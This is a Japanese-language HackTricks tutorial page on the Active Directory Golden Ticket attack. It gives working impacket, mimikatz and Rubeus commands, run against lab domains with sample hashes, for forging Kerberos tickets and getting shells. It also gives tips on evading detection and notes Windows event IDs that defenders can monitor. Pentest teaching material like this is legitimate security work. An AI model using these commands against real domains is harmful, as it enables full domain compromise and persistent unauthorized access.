hacktricks/windows-hardening/active-directory-methodology/golden-ticket.md
2023-07-07 23:42:27 +00:00

7.9 KiB
Raw Blame History

ゴールデンチケット

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ゴールデンチケット

有効なTGTは任意のユーザーとして作成することができます。これには、krbtgt ADアカウントのNTLMハッシュを使用します。TGSではなくTGTを偽造する利点は、ドメイン内の任意のサービス(またはマシン)となり、なりすまされたユーザーにアクセスできることです。
さらに、krbtgt資格情報は自動的には変更されません

krbtgtアカウントのNTLMハッシュは、ドメイン内の任意のDCのlsassプロセスまたはNTDS.ditファイルから取得できます。また、Mimikatzのlsadump::dcsyncモジュールやimpacketの例であるsecretsdump.pyを使用したDCsync攻撃でも、そのNTLMを取得することができます。どのテクニックを使用しても、通常はドメイン管理者特権または同等の特権が必要です。

また、AES KerberosキーAES128およびAES256を使用してチケットを偽造することが可能であり、好ましいopsecです。

{% code title="Linuxから" %}

python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass

{% code title="Windowsから" %}

#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory

# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi

{% endcode %}

ゴールデンチケットを注入した後、共有ファイルC$にアクセスしたり、サービスやWMIを実行したりすることができます。そのため、psexecまたはwmiexecを使用してシェルを取得することができますwinrmを介してシェルを取得することはできないようです

一般的な検出の回避

ゴールデンチケットを検出する最も一般的な方法は、ワイヤ上のKerberosトラフィックを検査することです。デフォルトでは、MimikatzはTGTを10年間署名します。そのため、それを使用して行われる後続のTGSリクエストでは異常として目立つでしょう。

Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM

/startoffset/endin/renewmaxパラメータを使用して、開始オフセット、期間、および最大更新回数を制御します(すべて分単位)。

Get-DomainPolicy | select -expand KerberosPolicy

残念ながら、TGTの寿命は4769のログに記録されていないため、Windowsイベントログにはこの情報はありません。ただし、事前の4768なしに4769を見ることができることを関連付けることができます。TGTなしでTGSを要求することはできず、TGTの発行記録がない場合、オフラインで偽造されたことを推測することができます。

この検出をバイパスするために、ダイヤモンドチケットをチェックしてください:

{% content-ref url="diamond-ticket.md" %} diamond-ticket.md {% endcontent-ref %}

緩和策

  • 4624アカウントログオン
  • 4672管理者ログオン
  • Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List Property

防御側が行える他の小技は、デフォルトのドメイン管理者アカウントなどの敏感なユーザーの4769にアラートを設定することです。

ired.teamのGolden Ticketに関する詳細情報

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥